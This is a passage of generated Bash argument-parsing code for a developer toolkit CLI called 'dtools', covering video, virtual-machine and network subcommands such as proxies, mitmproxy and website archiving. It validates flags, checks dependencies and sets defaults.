printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video duration VIDEO_FILE\n" >&2 exit 1 fi } dtools_video_boost_audio_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_video_boost_audio_usage exit ;; *) break ;; esac done missing_deps= if ! command -v ffmpeg >/dev/null 2>&1; then printf "missing dependency: ffmpeg\n" >&2 printf "%s\n\n" "Install with 'brew install ffmpeg'" >&2 missing_deps=1 else deps['ffmpeg']="$(command -v ffmpeg | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="video boost-audio" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --multiplier) if [[ -n ${2+x} ]]; then args['--multiplier']="$2" shift shift else printf "%s\n" "--multiplier requires an argument: --multiplier MULTIPLIER" >&2 exit 1 fi ;; --output-file) if [[ -n ${2+x} ]]; then args['--output-file']="$2" shift shift else printf "%s\n" "--output-file requires an argument: --output-file OUTPUT_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['video_file']+x} ]]; then args['video_file']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['video_file']+x} ]]; then printf "missing required argument: VIDEO_FILE\nusage: dtools video boost-audio VIDEO_FILE [OPTIONS]\n" >&2 exit 1 fi if [[ -z ${args['--output-file']+x} ]]; then printf "missing required flag: --output-file OUTPUT_FILE\n" >&2 exit 1 fi [[ -n ${args['--multiplier']:-} ]] || args['--multiplier']="2.0" } dtools_vm_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_vm_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; windows) action="windows" shift dtools_vm_windows_parse_requirements "$@" shift $# ;; linux) action="linux" shift dtools_vm_linux_parse_requirements "$@" shift $# ;; mac) action="mac" shift dtools_vm_mac_parse_requirements "$@" shift $# ;; "") dtools_vm_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_vm_windows_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_vm_windows_usage exit ;; *) break ;; esac done missing_deps= if ! command -v xfreerdp3 >/dev/null 2>&1; then printf "missing dependency: xfreerdp3\n" >&2 printf "%s\n\n" "See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds'" >&2 missing_deps=1 else deps['xfreerdp3']="$(command -v xfreerdp3 | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="vm windows" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --persistent-dir-prefix) if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift shift else printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 exit 1 fi ;; --persistent) args['--persistent']=1 shift ;; --wipe-persistent-data) args['--wipe-persistent-data']=1 shift ;; --disk-size) if [[ -n ${2+x} ]]; then args['--disk-size']="$2" shift shift else printf "%s\n" "--disk-size requires an argument: --disk-size DISK_SIZE" >&2 exit 1 fi ;; --ram-size) if [[ -n ${2+x} ]]; then args['--ram-size']="$2" shift shift else printf "%s\n" "--ram-size requires an argument: --ram-size RAM_SIZE" >&2 exit 1 fi ;; --cpu-cores) if [[ -n ${2+x} ]]; then args['--cpu-cores']="$2" shift shift else printf "%s\n" "--cpu-cores requires an argument: --cpu-cores CPU_CORES" >&2 exit 1 fi ;; --share-directory) if [[ -n ${2+x} ]]; then args['--share-directory']="$2" shift shift else printf "%s\n" "--share-directory requires an argument: --share-directory SHARE_DIRECTORY" >&2 exit 1 fi ;; --version) if [[ -n ${2+x} ]]; then args['--version']="$2" shift shift else printf "%s\n" "--version requires an argument: --version VERSION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 exit 1 fi [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="64" [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="4" [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="2" [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." [[ -n ${args['--version']:-} ]] || args['--version']="11" if [[ -v args['--disk-size'] ]]; then validation_output="$(validate_integer "${args['--disk-size']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--disk-size DISK_SIZE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--ram-size'] ]]; then validation_output="$(validate_integer "${args['--ram-size']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--ram-size RAM_SIZE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--cpu-cores'] ]]; then validation_output="$(validate_integer "${args['--cpu-cores']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--cpu-cores CPU_CORES" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--version']:-} ]] && [[ ! ${args['--version']:-} =~ ^(11|11l|11e|10|10l|10e|8e|7e|ve|xp|2025|2022|2019|2016|2012|2008|2003)$ ]]; then printf "%s\n" "--version must be one of: 11, 11l, 11e, 10, 10l, 10e, 8e, 7e, ve, xp, 2025, 2022, 2019, 2016, 2012, 2008, 2003" >&2 exit 1 fi } dtools_vm_linux_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_vm_linux_usage exit ;; *) break ;; esac done missing_deps= if ! command -v remmina >/dev/null 2>&1; then printf "missing dependency: remmina\n" >&2 printf "%s\n\n" "See 'https://remmina.org/how-to-install-remmina/'" >&2 missing_deps=1 else deps['remmina']="$(command -v remmina | head -n1)" fi if ! command -v xfreerdp3 >/dev/null 2>&1; then printf "missing dependency: xfreerdp3\n" >&2 printf "%s\n\n" "See 'https://github.com/FreeRDP/FreeRDP/wiki/PreBuilds'" >&2 missing_deps=1 else deps['xfreerdp3']="$(command -v xfreerdp3 | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="vm linux" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --persistent-dir-prefix) if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift shift else printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 exit 1 fi ;; --persistent) args['--persistent']=1 shift ;; --wipe-persistent-data) args['--wipe-persistent-data']=1 shift ;; --no-gui) if [[ -n "${args['--use-rdp']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--use-rdp" >&2 exit 1 fi args['--no-gui']=1 shift ;; --use-rdp) if [[ -n "${args['--no-gui']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--no-gui" >&2 exit 1 fi args['--use-rdp']=1 shift ;; --rdp-user) if [[ -n ${2+x} ]]; then args['--rdp-user']="$2" shift shift else printf "%s\n" "--rdp-user requires an argument: --rdp-user RDP_USER" >&2 exit 1 fi ;; --rdp-password) if [[ -n ${2+x} ]]; then args['--rdp-password']="$2" shift shift else printf "%s\n" "--rdp-password requires an argument: --rdp-password RDP_PASSWORD" >&2 exit 1 fi ;; --disk-size) if [[ -n ${2+x} ]]; then args['--disk-size']="$2" shift shift else printf "%s\n" "--disk-size requires an argument: --disk-size DISK_SIZE" >&2 exit 1 fi ;; --ram-size) if [[ -n ${2+x} ]]; then args['--ram-size']="$2" shift shift else printf "%s\n" "--ram-size requires an argument: --ram-size RAM_SIZE" >&2 exit 1 fi ;; --cpu-cores) if [[ -n ${2+x} ]]; then args['--cpu-cores']="$2" shift shift else printf "%s\n" "--cpu-cores requires an argument: --cpu-cores CPU_CORES" >&2 exit 1 fi ;; --share-directory) if [[ -n ${2+x} ]]; then args['--share-directory']="$2" shift shift else printf "%s\n" "--share-directory requires an argument: --share-directory SHARE_DIRECTORY" >&2 exit 1 fi ;; --dist) if [[ -n "${args['--image-url']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--image-url" >&2 exit 1 fi if [[ -n ${2+x} ]]; then args['--dist']="$2" shift shift else printf "%s\n" "--dist requires an argument: --dist DISTRIBUTION" >&2 exit 1 fi ;; --image-url) if [[ -n "${args['--dist']:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "--dist" >&2 exit 1 fi if [[ -n ${2+x} ]]; then args['--image-url']="$2" shift shift else printf "%s\n" "--image-url requires an argument: --image-url IMAGE_URL" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 exit 1 fi if [[ -n ${args['--rdp-user']+x} ]] && [[ -z "${args[--use-rdp]:-}" ]]; then printf "%s\n" "--rdp-user needs --use-rdp" >&2 exit 1 fi if [[ -n ${args['--rdp-password']+x} ]] && [[ -z "${args[--use-rdp]:-}" ]]; then printf "%s\n" "--rdp-password needs --use-rdp" >&2 exit 1 fi [[ -n ${args['--rdp-user']:-} ]] || args['--rdp-user']="$USER" [[ -n ${args['--rdp-password']:-} ]] || args['--rdp-password']="admin" [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="128" [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="8" [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="4" [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." if [[ -v args['--disk-size'] ]]; then validation_output="$(validate_integer "${args['--disk-size']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--disk-size DISK_SIZE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--ram-size'] ]]; then validation_output="$(validate_integer "${args['--ram-size']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--ram-size RAM_SIZE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--cpu-cores'] ]]; then validation_output="$(validate_integer "${args['--cpu-cores']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--cpu-cores CPU_CORES" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--dist']:-} ]] && [[ ! ${args['--dist']:-} =~ ^(alma|alpine|arch|cachy|centos|debian|fedora|gentoo|kali|kubuntu|mint|manjaro|mx|nixos|suse|oracle|rocky|slack|tails|ubuntu|ubuntus|xubuntu)$ ]]; then printf "%s\n" "--dist must be one of: alma, alpine, arch, cachy, centos, debian, fedora, gentoo, kali, kubuntu, mint, manjaro, mx, nixos, suse, oracle, rocky, slack, tails, ubuntu, ubuntus, xubuntu" >&2 exit 1 fi filter_error=$(filter_linux_image_url_or_dist_is_defined) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_vm_mac_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_vm_mac_usage exit ;; *) break ;; esac done missing_deps= if ! command -v remmina >/dev/null 2>&1; then printf "missing dependency: remmina\n" >&2 printf "%s\n\n" "See 'https://remmina.org/how-to-install-remmina/'" >&2 missing_deps=1 else deps['remmina']="$(command -v remmina | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="vm mac" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --persistent-dir-prefix) if [[ -n ${2+x} ]]; then args['--persistent-dir-prefix']="$2" shift shift else printf "%s\n" "--persistent-dir-prefix requires an argument: --persistent-dir-prefix PERSISTENT_DIR_PREFIX" >&2 exit 1 fi ;; --persistent) args['--persistent']=1 shift ;; --wipe-persistent-data) args['--wipe-persistent-data']=1 shift ;; --disk-size) if [[ -n ${2+x} ]]; then args['--disk-size']="$2" shift shift else printf "%s\n" "--disk-size requires an argument: --disk-size DISK_SIZE" >&2 exit 1 fi ;; --ram-size) if [[ -n ${2+x} ]]; then args['--ram-size']="$2" shift shift else printf "%s\n" "--ram-size requires an argument: --ram-size RAM_SIZE" >&2 exit 1 fi ;; --cpu-cores) if [[ -n ${2+x} ]]; then args['--cpu-cores']="$2" shift shift else printf "%s\n" "--cpu-cores requires an argument: --cpu-cores CPU_CORES" >&2 exit 1 fi ;; --share-directory) if [[ -n ${2+x} ]]; then args['--share-directory']="$2" shift shift else printf "%s\n" "--share-directory requires an argument: --share-directory SHARE_DIRECTORY" >&2 exit 1 fi ;; --version) if [[ -n ${2+x} ]]; then args['--version']="$2" shift shift else printf "%s\n" "--version requires an argument: --version VERSION" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -n ${args['--persistent-dir-prefix']+x} ]] && [[ -z "${args[--persistent]:-}" ]]; then printf "%s\n" "--persistent-dir-prefix needs --persistent" >&2 exit 1 fi [[ -n ${args['--disk-size']:-} ]] || args['--disk-size']="64" [[ -n ${args['--ram-size']:-} ]] || args['--ram-size']="4" [[ -n ${args['--cpu-cores']:-} ]] || args['--cpu-cores']="2" [[ -n ${args['--share-directory']:-} ]] || args['--share-directory']="." [[ -n ${args['--version']:-} ]] || args['--version']="13" if [[ -v args['--disk-size'] ]]; then validation_output="$(validate_integer "${args['--disk-size']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--disk-size DISK_SIZE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--ram-size'] ]]; then validation_output="$(validate_integer "${args['--ram-size']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--ram-size RAM_SIZE" "$validation_output" >&2 exit 1 fi fi if [[ -v args['--cpu-cores'] ]]; then validation_output="$(validate_integer "${args['--cpu-cores']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--cpu-cores CPU_CORES" "$validation_output" >&2 exit 1 fi fi if [[ ${args['--version']:-} ]] && [[ ! ${args['--version']:-} =~ ^(15|14|13|12|11)$ ]]; then printf "%s\n" "--version must be one of: 15, 14, 13, 12, 11" >&2 exit 1 fi } dtools_network_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_usage exit ;; *) break ;; esac done action=${1:-} case $action in -*) ;; generate-self-signed-certificate) action="generate-self-signed-certificate" shift dtools_network_generate_self_signed_certificate_parse_requirements "$@" shift $# ;; https-proxy) action="https-proxy" shift dtools_network_https_proxy_parse_requirements "$@" shift $# ;; tcp-proxy) action="tcp-proxy" shift dtools_network_tcp_proxy_parse_requirements "$@" shift $# ;; proxy-with-nginx) action="proxy-with-nginx" shift dtools_network_proxy_with_nginx_parse_requirements "$@" shift $# ;; mitm-proxy) action="mitm-proxy" shift dtools_network_mitm_proxy_parse_requirements "$@" shift $# ;; archive-website) action="archive-website" shift dtools_network_archive_website_parse_requirements "$@" shift $# ;; warc-2-zim) action="warc-2-zim" shift dtools_network_warc_2_zim_parse_requirements "$@" shift $# ;; mermaid-api) action="mermaid-api" shift dtools_network_mermaid_api_parse_requirements "$@" shift $# ;; "") dtools_network_usage >&2 exit 1 ;; *) printf "invalid command: %s\n" "$action" >&2 exit 1 ;; esac while [[ $# -gt 0 ]]; do key="$1" case "$key" in -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done } dtools_network_generate_self_signed_certificate_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_generate_self_signed_certificate_usage exit ;; *) break ;; esac done missing_deps= if ! command -v openssl >/dev/null 2>&1; then printf "missing dependency: openssl\n" >&2 printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 missing_deps=1 else deps['openssl']="$(command -v openssl | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network generate-self-signed-certificate" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --output) if [[ -n ${2+x} ]]; then args['--output']="$2" shift shift else printf "%s\n" "--output requires an argument: --output OUTPUT" >&2 exit 1 fi ;; --key-output) if [[ -n ${2+x} ]]; then args['--key-output']="$2" shift shift else printf "%s\n" "--key-output requires an argument: --key-output KEY_OUTPUT" >&2 exit 1 fi ;; --hostname) if [[ -n ${2+x} ]]; then args['--hostname']="$2" shift shift else printf "%s\n" "--hostname requires an argument: --hostname HOSTNAME" >&2 exit 1 fi ;; --pfx-output) if [[ -n ${2+x} ]]; then args['--pfx-output']="$2" shift shift else printf "%s\n" "--pfx-output requires an argument: --pfx-output PFX_OUTPUT" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--output']+x} ]]; then printf "missing required flag: --output OUTPUT\n" >&2 exit 1 fi if [[ -z ${args['--key-output']+x} ]]; then printf "missing required flag: --key-output KEY_OUTPUT\n" >&2 exit 1 fi [[ -n ${args['--hostname']:-} ]] || args['--hostname']="localhost" [[ -n ${args['--pfx-output']:-} ]] || args['--pfx-output']="false" } dtools_network_https_proxy_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_https_proxy_usage exit ;; *) break ;; esac done missing_deps= if ! command -v socat >/dev/null 2>&1; then printf "missing dependency: socat\n" >&2 printf "%s\n\n" "Install with 'brew install socat'" >&2 missing_deps=1 else deps['socat']="$(command -v socat | head -n1)" fi if ! command -v openssl >/dev/null 2>&1; then printf "missing dependency: openssl\n" >&2 printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 missing_deps=1 else deps['openssl']="$(command -v openssl | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network https-proxy" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --https-port) if [[ -n ${2+x} ]]; then args['--https-port']="$2" shift shift else printf "%s\n" "--https-port requires an argument: --https-port HTTPS_PORT" >&2 exit 1 fi ;; --proxy-target-host) if [[ -n ${2+x} ]]; then args['--proxy-target-host']="$2" shift shift else printf "%s\n" "--proxy-target-host requires an argument: --proxy-target-host PROXY_TARGET_HOST" >&2 exit 1 fi ;; --proxy-target-port) if [[ -n ${2+x} ]]; then args['--proxy-target-port']="$2" shift shift else printf "%s\n" "--proxy-target-port requires an argument: --proxy-target-port PROXY_TARGET_PORT" >&2 exit 1 fi ;; --ssl-certificate) if [[ -n ${2+x} ]]; then args['--ssl-certificate']="$2" shift shift else printf "%s\n" "--ssl-certificate requires an argument: --ssl-certificate SSL_CERTIFICATE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--proxy-target-port']+x} ]]; then printf "missing required flag: --proxy-target-port PROXY_TARGET_PORT\n" >&2 exit 1 fi [[ -n ${args['--https-port']:-} ]] || args['--https-port']="443" [[ -n ${args['--proxy-target-host']:-} ]] || args['--proxy-target-host']="localhost" [[ -n ${args['--ssl-certificate']:-} ]] || args['--ssl-certificate']="/etc/devtools/dtools.pem" } dtools_network_tcp_proxy_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_tcp_proxy_usage exit ;; *) break ;; esac done missing_deps= if ! command -v simpleproxy >/dev/null 2>&1; then printf "missing dependency: simpleproxy\n" >&2 printf "%s\n\n" "Install with 'sudo apt install simpleproxy'" >&2 missing_deps=1 else deps['simpleproxy']="$(command -v simpleproxy | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network tcp-proxy" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --tcp-host) if [[ -n ${2+x} ]]; then args['--tcp-host']="$2" shift shift else printf "%s\n" "--tcp-host requires an argument: --tcp-host TCP_HOST" >&2 exit 1 fi ;; --tcp-port) if [[ -n ${2+x} ]]; then args['--tcp-port']="$2" shift shift else printf "%s\n" "--tcp-port requires an argument: --tcp-port TCP_PORT" >&2 exit 1 fi ;; --proxy-target-host) if [[ -n ${2+x} ]]; then args['--proxy-target-host']="$2" shift shift else printf "%s\n" "--proxy-target-host requires an argument: --proxy-target-host PROXY_TARGET_HOST" >&2 exit 1 fi ;; --proxy-target-port) if [[ -n ${2+x} ]]; then args['--proxy-target-port']="$2" shift shift else printf "%s\n" "--proxy-target-port requires an argument: --proxy-target-port PROXY_TARGET_PORT" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--tcp-port']+x} ]]; then printf "missing required flag: --tcp-port TCP_PORT\n" >&2 exit 1 fi if [[ -z ${args['--proxy-target-port']+x} ]]; then printf "missing required flag: --proxy-target-port PROXY_TARGET_PORT\n" >&2 exit 1 fi [[ -n ${args['--tcp-host']:-} ]] || args['--tcp-host']="0.0.0.0" [[ -n ${args['--proxy-target-host']:-} ]] || args['--proxy-target-host']="localhost" filter_error=$(filter_debian_based_os) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 exit 1 fi } dtools_network_proxy_with_nginx_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_proxy_with_nginx_usage exit ;; *) break ;; esac done missing_deps= if ! command -v nginx >/dev/null 2>&1; then printf "missing dependency: nginx\n" >&2 printf "%s\n\n" "Install with 'brew install nginx'" >&2 missing_deps=1 else deps['nginx']="$(command -v nginx | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network proxy-with-nginx" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --tcp-port) if [[ -n ${2+x} ]]; then args['--tcp-port']="$2" shift shift else printf "%s\n" "--tcp-port requires an argument: --tcp-port TCP_PORT" >&2 exit 1 fi ;; --proxy-target-host) if [[ -n ${2+x} ]]; then args['--proxy-target-host']="$2" shift shift else printf "%s\n" "--proxy-target-host requires an argument: --proxy-target-host PROXY_TARGET_HOST" >&2 exit 1 fi ;; --proxy-target-protocol) if [[ -n ${2+x} ]]; then args['--proxy-target-protocol']="$2" shift shift else printf "%s\n" "--proxy-target-protocol requires an argument: --proxy-target-protocol PROXY_TARGET_PROTOCOL" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--proxy-target-host']+x} ]]; then printf "missing required flag: --proxy-target-host PROXY_TARGET_HOST\n" >&2 exit 1 fi [[ -n ${args['--tcp-port']:-} ]] || args['--tcp-port']="8080" [[ -n ${args['--proxy-target-protocol']:-} ]] || args['--proxy-target-protocol']="http" if [[ ${args['--proxy-target-protocol']:-} ]] && [[ ! ${args['--proxy-target-protocol']:-} =~ ^(http|https)$ ]]; then printf "%s\n" "--proxy-target-protocol must be one of: http, https" >&2 exit 1 fi } dtools_network_mitm_proxy_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_mitm_proxy_usage exit ;; *) break ;; esac done missing_deps= if ! command -v mitmproxy >/dev/null 2>&1; then printf "missing dependency: mitmproxy\n" >&2 printf "%s\n\n" "Install with 'brew install --cask mitmproxy'" >&2 missing_deps=1 else deps['mitmproxy']="$(command -v mitmproxy | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network mitm-proxy" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --port) if [[ -n ${2+x} ]]; then args['--port']="$2" shift shift else printf "%s\n" "--port requires an argument: --port PORT" >&2 exit 1 fi ;; --script-file) if [[ -n ${2+x} ]]; then args['--script-file']="$2" shift shift else printf "%s\n" "--script-file requires an argument: --script-file SCRIPT_FILE" >&2 exit 1 fi ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) if [[ -z ${args['domain']+x} ]]; then args['domain']=$1 shift else printf "invalid argument: %s\n" "$key" >&2 exit 1 fi ;; esac done if [[ -z ${args['domain']+x} ]]; then printf "missing required argument: DOMAIN\nusage: dtools network mitm-proxy DOMAIN [OPTIONS]\n" >&2 exit 1 fi [[ -n ${args['--port']:-} ]] || args['--port']="8080" if [[ -v args['--script-file'] ]]; then validation_output="$(validate_file_exists "${args['--script-file']:-}")" if [[ -n "${validation_output}" ]]; then printf "validation error in %s:\n%s\n" "--script-file SCRIPT_FILE" "$validation_output" >&2 exit 1 fi fi } dtools_network_archive_website_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_archive_website_usage exit ;; *) break ;; esac done missing_deps= if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 missing_deps=1 else deps['docker']="$(command -v docker | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network archive-website" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --shm-size) if [[ -n ${2+x} ]]; then args['--shm-size']="$2" shift shift else printf "%s\n" "--shm-size requires an argument: --shm-size SHM_SIZE" >&2 exit 1 fi ;; --url) if [[ -n ${2+x} ]]; then args['--url']="$2" shift shift else printf "%s\n" "--url requires an argument: --url URL" >&2 exit 1 fi ;; --name) if [[ -n ${2+x} ]]; then args['--name']="$2" shift shift else printf "%s\n" "--name requires an argument: --name NAME" >&2 exit 1 fi ;; --output) if [[ -n ${2+x} ]]; then args['--output']="$2" shift shift else printf "%s\n" "--output requires an argument: --output OUTPUT_DIRECTORY" >&2 exit 1 fi ;; --limit) if [[ -n ${2+x} ]]; then args['--limit']="$2" shift shift else printf "%s\n" "--limit requires an argument: --limit LIMIT" >&2 exit 1 fi ;; --behaviors) if [[ -n ${2+x} ]]; then args['--behaviors']="$2" shift shift else printf "%s\n" "--behaviors requires an argument: --behaviors BEHAVIORS" >&2 exit 1 fi ;; --exclude) if [[ -n ${2+x} ]]; then args['--exclude']="$2" shift shift else printf "%s\n" "--exclude requires an argument: --exclude EXCLUDE_REGEX" >&2 exit 1 fi ;; --workers) if [[ -n ${2+x} ]]; then args['--workers']="$2" shift shift else printf "%s\n" "--workers requires an argument: --workers WORKERS" >&2 exit 1 fi ;; --wait-until) if [[ -n ${2+x} ]]; then args['--wait-until']="$2" shift shift else printf "%s\n" "--wait-until requires an argument: --wait-until WAIT_UNTIL" >&2 exit 1 fi ;; --keep) args['--keep']=1 shift ;; -?*) printf "invalid option: %s\n" "$key" >&2 exit 1 ;; *) printf "invalid argument: %s\n" "$key" >&2 exit 1 ;; esac done if [[ -z ${args['--url']+x} ]]; then printf "missing required flag: --url URL\n" >&2 exit 1 fi if [[ -z ${args['--name']+x} ]]; then printf "missing required flag: --name NAME\n" >&2 exit 1 fi [[ -n ${args['--shm-size']:-} ]] || args['--shm-size']="2gb" [[ -n ${args['--output']:-} ]] || args['--output']="/output" [[ -n ${args['--behaviors']:-} ]] || args['--behaviors']="autoplay,autofetch,siteSpecific" [[ -n ${args['--wait-until']:-} ]] || args['--wait-until']="load" } dtools_network_warc_2_zim_parse_requirements() { local key while [[ $# -gt 0 ]]; do key="$1" case "$key" in --help | -h) long_usage=yes dtools_network_warc_2_zim_usage exit ;; *) break ;; esac done missing_deps= if ! command -v docker >/dev/null 2>&1; then printf "missing dependency: docker\n" >&2 printf "%s\n\n" "Install with 'dtools install docker'" >&2 missing_deps=1 else deps['docker']="$(command -v docker | head -n1)" fi if [[ -n $missing_deps ]]; then exit 1 fi action="network warc-2-zim" while [[ $# -gt 0 ]]; do key="$1" case "$key" in --shm-size) if [[ -n ${2+x} ]]; then args['--shm-size']="$2" shift shift else printf "%s\n" "--shm-size requires an argument: --shm-size SHM_SIZE" >&2 exit 1 fi ;; --url) if [[ -n ${2+x} ]]; then args['--url']="$2" shift shift else printf "%s\n" "--url requires an argument: --url URL" >&2 exit 1 fi ;; --name) if [[ -n ${2+x} ]]; then args['--name']="$2" shift shift else printf "%s\n" "--name requires an argument: --name NAME" >&2 exit 1 fi ;; --output) if [[ -n ${2+x} ]]; then args['--output']="$2" shift shift else printf "%s\n" "--output requires an argument: --output OUTPUT_DIRECTORY" >&2 exit 1 fi ;; --limit) if [[ -n ${2+x} ]]; then args['--limit']="$2" shift shift else printf "%s\n" "--limit requires an argument: --limit LIMIT" >&2 exit 1 fi ;; --behaviors) if [[ -n ${2+x} ]]; then args['--behaviors']="$2" shift shift else printf "%s\n" "--behaviors requires an argument: --behaviors BEHAVIORS" >&2 exit 1 fi ;; --exclude) if [[ -n ${2+x} ]]; then args['--exclude']="$2" shift shift else printf "%s\n" "--exclude requires an argument: --exclude EXCLUDE_REGEX" >&2 exit 1 fi ;; --workers) if [[ -n ${2+x} ]]; then args['--workers']="$2" shift shift else printf "%s\n" "--workers requires an argument: --workers WORKERS" >&2 